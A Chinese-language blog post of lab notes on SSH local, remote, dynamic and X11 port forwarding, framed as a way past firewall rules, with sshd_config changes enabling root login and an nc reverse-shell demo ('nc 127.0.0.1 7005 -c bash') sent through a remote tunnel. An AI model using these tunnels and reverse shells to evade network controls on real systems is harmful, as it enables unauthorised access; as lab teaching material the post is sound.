ssh 端口转发

ssh本地端口转发
(1)SSH 支持双向通信隧道
将其他 TCP 端口的通信通过 SSH 链接来转发
用 SSH 作为传输协议,对流量自动加解密
突破防火墙访问规则的限制,可用于FQ
 
(2)SSH 本地端口转发
使效果类似于 rinetd
将一本地端口与远程服务器建立隧道
 
(3)建立双向安全隧道
将其他 TCP 端口的通信通过 SSH 链接来转发
用 SSH 作为传输协议,对流量自动加解密
突破防火墙访问规则的限制,可用于FQ
 
(4)本地端口转发
本机侦听端口,访问转发到远程主机指定端口
 
(5)远程端口转发
远程侦听端口,访问转发到本机主机指定端口
 
(6)动态隧道模式
 
ssh本地端口转发
将一本地端口与远程服务器建立隧道
修改ssh服务器配置文件
/etc/ssh/sshd_config
– PermitRootLogin yes
– Port 53
– PasswordAuthentication yes
▪ service ssh restart
 
建立端口转发
ssh -fCNg -L <listen port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
[root@local ~]# ssh -fCNg -L 7001:192.168.199.103:80 root@192.168.199.165 -p 22
-f 后台运行进程
-N 不执行登录shell
-g 复用访问时作为网关,支持多主机访问本地侦听端口
 
网关模式转发RDP、NC、shell
执行完端口转发后,访问本地监听的7001端口,即可访问远程服务。
 
ssh -fCNg -L <listen port>:localhost:<remote port> user@<ssh
server> -p <ssh port>
ssh -fCNg -L 7003:localhost:80 root@<ssh 192.168.199.165 -p 22
 
ssh -fCNg -L 7006:192.168.199.103:333 root@192.168.199.165 -p 22
远程服务端监听333端口
 
本地转发shell
 
0k客户端的shell直接反弹到远程服务器
 
SSH 远程端口转发
1.由于 ACL 等原因,SSH 与应用连接建立方向相反
2.本地端口转发
SSH 客户端+应用客户端位于 FW 一端
SSH 服务器+应用服务器位于另一端
3.远程端口转发
SSH 客户端、应用客户端位于 FW 两端
SSH 服务器、应用服务器位于 FW 两端
4.ssh -fCNg -R :: user@ -p
5.之所以成为远程,是因为 SSH 侦听端口开在远程的 SSH Server(kali) 上
6.侦听端口永远在客户端一方
 
实验测试
本地客户端进行远程端口转发
ssh -fNg -R <listen port>:<remote ip>:<remote port> user@<SSH server> -p <ssh server port>
ssh -fNg -R 7003:192.168.199.103:80 root@192.168.199.165 -p 22
ssh -fNg -R 7003:192.168.199.103:3389 root@192.168.199.165 -p 22
 
查看服务端监听的端口
netstat -anptl | grep 7003
netstat -anptl | grep 7004
 
应用服务端访问本地监听的7003端口成功访问web服务
 
关于rdesktop连接windows 远程桌面报错的解决办法
rdesktop 127.0.0.1:7004
ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?
Failed to connect, CredSSP required by server.
我的电脑-属性-远程 去掉仅允许运行使用网络级别身份认证远程桌面计算机的连接。
 
ok,重新执行命令
rdesktop 127.0.0.1:7004
 
使用nc反弹shell
web服务端开启监听
client:nc -nvlp 3333
 
客户端开启远程端口转发
ssh -fNg -R 7005:192.168.199.103:3333 root@192.168.199.165 -p 22
ssh server:nc 127.0.0.1 7005 -c bash
 
web server 成功接收到shell
 
 
动态端口转发
1.本地、远程端口转发都需要固定应用服务器IP、Port
应用端口繁多,诸葛转发效率低
某些应用不固定端口
某些网站不支持IP直接访问
使用非受信网络上网时保护流量不被嗅探
2.本地侦听 socks4/5 代理端口
由 SSH server 决定如何转发
作为FQ代理使用
配置客户端代理(浏览器)
使用 proxychains 支持无代理客户端
ssh -CfNg -D 7001 root@1.1.1.1 -p 2121
 
动态端口转发
ssh -CfNg -D 7006 root@192.168.199.165 -p 22
设置客户端浏览器代理
ok,可以上网
OK,可以看到客户端的所有请求都是走的代理的7006端口
 
X协议转发
1.远程登陆 Linux GUI 运行图形化界面工具
VNC
X windows
2.防火墙限制访问时
基于 SSH 的 X 转发
ssh -X user@192.168.199.165 -p 53
 
X协议转发测试
可以使用远程主机的图像化工具
 
posted @ 2019-03-23 22:34  micr067  阅读(185)  评论(0编辑  收藏  举报